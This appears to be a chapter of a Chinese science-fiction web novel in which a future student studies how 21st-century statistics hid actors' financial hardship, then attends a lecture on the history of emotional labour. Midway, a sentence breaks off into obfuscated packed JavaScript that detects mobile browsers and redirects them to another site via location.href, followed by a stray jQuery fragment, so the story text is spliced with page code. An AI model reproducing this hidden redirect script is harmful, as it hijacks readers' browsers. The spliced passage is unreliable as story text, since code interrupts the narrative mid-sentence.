熬夜这个事情应该是人类无法放弃的。
陈绍宁和林序分开后回到了宿舍，但她也没有任何睡意，只是看着眼前的终端上的数据库，陈绍宁又重新调出信息。
终端有显示时间，这会是凌晨一点。
不知道是不是天天看到很多过去人的事情，陈绍宁也跟着睡不着了，眼神是一直盯着终端，脑袋里不知道在想着什么。
除了自己整理信息，还需要用星际历史课配套的标准资料库导出内容一起提交。资料库的界面简洁，所有数据都被归纳成清晰的曲线和平均值。只要输入关键词，系统就会自动生成一段客观描述。
陈绍宁输入了演员收入二十一世纪初。
屏幕很快亮起。
平均年收入，中位数，头部与腰部比例，行业增长曲线。
包括很多暗线收入进出都没有任何的隐瞒。
每一条数据都无可挑剔。
总结信息中说明是整体收入水平高于社会平均线，属于高风险、高回报职业。存在明显的头部集中现象。
系统给出的结论是算得上审慎，只看这些内容，很容易得出一个结论大概就是演员这个职业，本身并不值得同情。
陈绍宁盯着那条中位数看了很久。
中位数，是一个很聪明的数字。
它不会像平均数那样，被极端高值拉得过于夸张，也不会像最低值那样，显得过分悲惨。
它看起来很公平。
可她已经亲眼见过孟余的生活。
很便宜的棉服，看起来也没有多好的住处，但大部分钱都给福瑞买了猫罐头，再有的钱都是大额支出到各种公益活动，遇到被欺负的其他演员的粉丝也一样会出头帮助她们。
看得出来他不是挥霍型的人，甚至温良恭俭让这几个词形容孟余也是合适的，他的一生完全算不上能定为高回报职业的缩影。
她重新调出了他的资料。
系统显示，他参与过多部影视作品履历算得上完整，有很明显空白期集中在一定的时间内，按照统计模型，他应该属于稳定从业者。
可现实是他在节衣缩食。
偏差是偶然吗？
陈绍宁心里有好奇就会开始对比更多数据。
演员 A收入可观，演员 B片约不断，演员 C商业价值稳定。
可当她把这些名字一个个拆解，拉进现实场景里，就会发现他们几乎都处在被看见的那一端。
数据库里的演员是被统计到的演员，而真的去过过去之后，陈绍宁知道现实中的演员，还有大量处在统计边缘的人。
很多演员有作品，有工作记录却没有稳定的现金流。因为收入并不是按是否工作结算的c而是按是否被使用。
拍过戏不代表钱按时到位，播出过作品不代表分账透明，有姓名也不代表话语权存在。这些变量，没有一个会完整地出现在宏观数据里。
陈绍宁开始意识到一个问题，数据并不是在说谎。
它只是在选择可见的部分。
她继续往下查。
演员的平均收入里，是否包含了经纪公司抽成？是否扣除了培训费用、造型费用、维持曝光的隐性支出？是否考虑了项目取消、拖款、账期延后？
还有很多更为隐蔽的东西，系统没有回答这些问题。
因为这些问题，本身就不在统计范畴内。统计只记录已经发生，已经结算，已经确认的数字。
而那些处在灰色地带的部分，被默认视为个体差异，而个体差异是一个非常便利的词，它可以解释一切，又因为关联众多而不需要追责任何人。
陈绍宁忽然想起，在地铁里见过的那些人。
求职者、加班者、处理劳动纠纷的人他们也都有工作记录，
可他们的疲惫，并不会出现在就业率里，她终于明白，为什么这些现象长期存在，却始终不被当成问题。
因为从宏观视角看系统是运转良好的。
演员行业有产出，城市在增长，内容持续被生产。
个体的困顿，被稀释进了整体曲线里。而且还有更隐蔽的一层。陈绍宁意识到，这些原因之所以看不到，并不只是技术问题。
还有一种叙事选择。
在曾经的某个时代，成功案例被不断放大，失败路径则被解释为个人问题。
如果你赚不到钱，是因为你不够红；如果你被拖欠，是因为你不够重要；如果你节衣缩食，是因为你规划不当。
这种解释方式把一切问题，都只推回到个体身上，于是人们开始用极端案例来反驳整体问题。
“也有人过得很好。”
“头部演员收入很高。”
“你不能因为个别情况否定整个行业。”
这些话在逻辑上成立。
可在现实中，它们遮蔽了最重要的一点不是所有人，都在同一个起跑线上。
苦难，生活的苦难或者工作的困难被克服了，并不值得被歌颂。
那不是一种美德，而是一种被迫的自我保护。
发现为什么还有这些苦难，并且努力把这些苦难消除掉才是应该去做的事情。
可是为什么有人必须这样做，才能勉强站在原地？
她继续翻阅资料。
平台分账规则，项目结算周期，风险共担的行业条款。
这些条款在文本里看起来极其合理。
风险共担意味着共同承担不确定性；灵活用工意味着提高效率。可当这些规则落在具体的人身上时，它们就变成了另一种东西。风险被下沉到最弱的一端；灵活意味着随时可被替换。
而这些细节很少被写进行业概况，因为它们太具体了。具体到无法被概括，具体到会引发责任问题。
看见是有代价的。
修改被看见的内容也是一件非常昂贵的事。
相比之下把问题归为个人选择要轻松得多。
陈绍宁关掉数据库，屏幕暗下来的那一刻，她感到一种前所未有的沉重。
她终于明白，历史教材为什么会在旧蓝星时代反复强调结构性死亡，大概就是系统在统计意义上是成功的，却在生活层面持续制造沉默的消耗。
孟余只是其中一个。
那些在数据里消失的人才是大多数。
她站在房间里，忽然意识到一件事如果只相信宏观数据，就永远无法理解，为什么那么多人，会在看起来不错的时代里，感到无法呼吸。
而她继续观察下去的理由，也在这一刻变得清晰起来。
“但是… 演员的收入总是比其他行业高很多，但是演员又好像是一切难说之事的表象。难说的事情也太多了，在旧蓝星时代之前就一直存在。”
陈绍宁自言自语着，她甚至在想，或许她生存的时代没有一模一样的难说之事，但或许会诞生什么新的难说之事。
那等她死亡后的几百几千年之后，是不是也有人会观测她的时代会发生什么事情？
“有可能我也会被观测？”
陈绍宁想到这，倒是先把数据库关闭。
“可以了，人类一直在进步了，现在都没有信息差这种东西，历史也是完全透明地能查询一切，我一个学生，今天晚上就不想那么多了，还不如早早睡觉。”
人类总是想的太多，但不在这一时。
陈绍宁这样劝慰自己，但人躺在床上的时候，还是忍不住想起来工资和劳动内容的对比。
但越想越觉得复杂，最后倒是明白了演员这个行业最后消失也不算是坏事情。
“ 不算坏事吧，不算……” 陈绍宁还是迷迷糊糊地睡着了，这一次没有梦境，一觉睡到天明。
………
“ 咱们公共文明学有很多课程，希望大家在课程内明白，我们不是研究人类有多惨，更多事研究在经历过那些惨痛历史之后，人类是如何学会不再让同样的事情发生。因此不要限于一种历史论调里，需要全面地看待事情。”
陈绍宁用终端语音播放着这学期开学时，学科教授给全专业学生发布的邮件，而陈绍宁闭着眼睛刷牙洗脸，她就是明显感觉到自己有陷入一个论调的危险，这不是一个公共文明学专业学生该有的状态。
“ 只有社会实践和历史课程的深入调查，才是人们对于外界认识的真理性的标准。旧蓝星时代有一位著名的伟人说的对，通过实践而发现真理，又通过实践而证实真理和发展真理，实践和认知是在循环中前进的，是螺旋式上升的，同样没有调查，就没有发言权。（1
我期待学生们需要重视调查研究，在经过足够的观察型历史课程之后，最后结论要基于足够多的观察型历史课程，这是大家对事物认识加深的过程，也是解决问题的过程。 ” （2
邮件的内容被一字一句读出来，陈绍宁这几天的情绪也跟着平稳下来。
“个体的痛苦需要被看到，但我是在星际时代的人，我改变不了个体的痛苦，我需要看到个体的痛苦和群体的改变，我需要明白微观和宏观的结合… ”
陈绍宁的嘴巴里全是牙膏沫，但不耽误她说出来多看多听多思考，审慎说话的态度。
清晨起的有点早，其实睡眠状态也没有很好。
“今天的课是什么来着？”
临出门前，陈绍宁翻看今天的课表，终端上是星际联合大学公共文明学核心课程的内容，比如什么《历史情境中的个体能动性》、《情绪劳动史与社会认知演变》、《制度修复史：人类如何修正自己的错误》、《记忆伦理与历史观看边界》、《文明心理学：集体创伤与社会韧性》
这种专业课需要去教室上小课，而大课就只要在终端上进入全息课程更为方便。
陈绍宁背着包出门时，地面的导光带已经切换成浅金色，提示早高峰步行方向。
走廊尽头的观景电梯正好停在这一层，陈绍宁走进去，舱壁透明，外面的绿植层一层层向下展开，水循环管道里细流反着光。
电梯几乎没有震动，像被空气托着缓缓下降。
出楼之后，是连接宿舍区与教学区的立体步行廊。
廊道两侧的植物正自动调节叶片角度，让晨光能更均匀地落下来。
几个学生一边走一边在空中滑动终端投影，讨论着专业小课的报告。
陈绍宁没有赶时间，顺着缓行步带往前。
旁边一列低空轨道舱无声掠过，舱体反射着天空的淡蓝色，里面的人正低头看资料。
走到教学区入口，识别系统在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149312|196424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她靠近时自动点亮通行光标。
陈绍宁推开教室门，看着教室里已经到了同学们先打了声招呼，还没来得及说几句话，隔壁教室上课的林序就推门喊陈绍宁。
“ 绍宁，绍宁，你快来一下。”
陈绍宁好奇林序找她做什么，东西扔座位上就跟着一起出门。林序拉着她去走廊尽头，从口袋里掏出来点东西就塞进她的口袋里。
陈绍宁看她的动作，没有贸然把东西拿出来，而是手伸进口袋里摸起来，这个触感和形状，陈绍宁眼睛一亮，“ 你… 怎么弄到的？”
“秘密，秘密，千万别说。”
陈绍宁想到了各种型号，但不看一眼其实很难确定，但口袋里有这些东西，陈绍宁眼睛跟着亮了几分。
离上课还有几分钟，林序一边靠近她，眼神也不忘看看周围，最后才在她耳边小声说着，“ 千万别拆开，下次拿着一起，有人试验过了能带进观察型，你放在什么地方藏起来，但是如果想要用得深度课，所以千万放好。”
陈绍宁果然收回来手，不知道想到了什么，她连忙点头表示赞同：“好！我都听你的！”
“要上课了。” 两人感受到终端熟悉的震动，赶紧分开，各自回到自己的教室里。
陈绍宁课上学生只有十三人，是仿照纪元二十一世纪教室样子建造的，墙面没有黑板，只有一层半透明的界面，随着课程开始，资料像水一样铺开。
陈绍宁坐下没多久，教授就推门进来了，神情平静，却带着一点认真到近乎温柔的专注。
“今天我们讲《情绪劳动史与社会认知演变》。”她的声音不高，但清晰，“我们先从一个问题开始——”
她停顿了一下，目光扫过教室。
“什么时候，人类开始承认情绪也是一种劳动？”
教室里有几秒安静。
乔鹤先举手，语气有点犹豫：“大概是……纪元21世纪中期服务业研究兴起的时候？”
教授点头：“对。情绪劳动这个词在当时并不是大众语言，而是学术概念。它最早被用来描述——”
投影里出现一段旧时代影像，比如空乘人员微笑服务，客服在电话那头语气始终温和。
“——那些必须持续管理自己情绪，以满足职业要求的人。”教授说，“他们的微笑，耐心，克制，并不是天生的，而是工作的一部分。”
孙淼淼皱着眉，小声嘀咕：“可那不是礼貌吗？”
教授听见了，笑了一下：“礼貌是自发的，情绪劳动是被期待、被要求、甚至被考核的。”
教室里有学生轻轻啊了一声，像是突然理解了差别。
“当情绪开始被写进岗位说明，写进绩效标准，它就从性格优点，变成了劳动内容。”教授语气变得缓慢，“问题是当时并没有对应的报酬机制。”
陈绍宁低头记笔记，笔尖停了一下。
她想到孟余回粉丝私信的样子，心口轻轻一沉。
教授手势一挥，画面切换。
“第二个领域是粉丝文化中的情绪依附。”
屏幕上出现社交平台旧界面，大量留言、应援视频、深夜长文。
“21世纪的艺人，不只提供作品，还被期待提供陪伴、安慰、理解。”教授语气里带着一点感叹，“粉丝把情绪投向他们，而艺人如果选择回应，就进入了一种双向却不对等的情绪关系。”
乔鹤举手，声音有点急：“但那是自愿的吧？”
“是的，”教授点头，“正因为自愿，它更容易被忽略。粉丝的情绪会被忽略，艺人的情绪也会被忽略。”她顿了顿，“自愿不代表没有消耗。”
教室安静下来。
陈绍宁喉咙发紧，手指无意识收紧。
教授继续说：“再者家庭与亲密关系中的隐形照护也是存在的，老龄化很严重，生育率下降，很长一段时间里这种隐形照护都很重要。”
投影变成家庭场景，有人记得家人生日，有人主动安抚争执后的情绪，有人默默承担沟通责任。
“长期以来，这些行为被称为体贴、懂事、会照顾人。”教授语气轻柔，“但它们同样需要时间、注意力和情绪调节能力。”
孙淼淼小声说：“听起来好累……”
教授看向她，眼神很温和：“是的。但当社会只把这些当成性格，而不是付出，付出的人就很难为自己争取边界。”
后排有学生低声说：“那后来怎么被承认的？”
教授笑了一下，像在等这个问题。
“因为太多人累到出问题了。”她语气很平静，“心理学数据、职场研究、家庭冲突统计，让社会不得不面对一个事实——”
她在空中划出一个词，情绪不是无限资源。
教室里没人说话。
教授最后总结：“情绪劳动被看见，仅仅是因为长期忽视的代价，已经大到无法再掩盖。”
她看向学生们，语气缓和下来，“我们研究这段历史，不是为了指责过去，而是为了理解——”
“当一个人看起来总是很懂事，总是很温和，也许他正在做一份，从未被写进合同的工作。”
陈绍宁低头，眼眶微微发热，她在想这算是在替很多人，补上一句迟到的确认。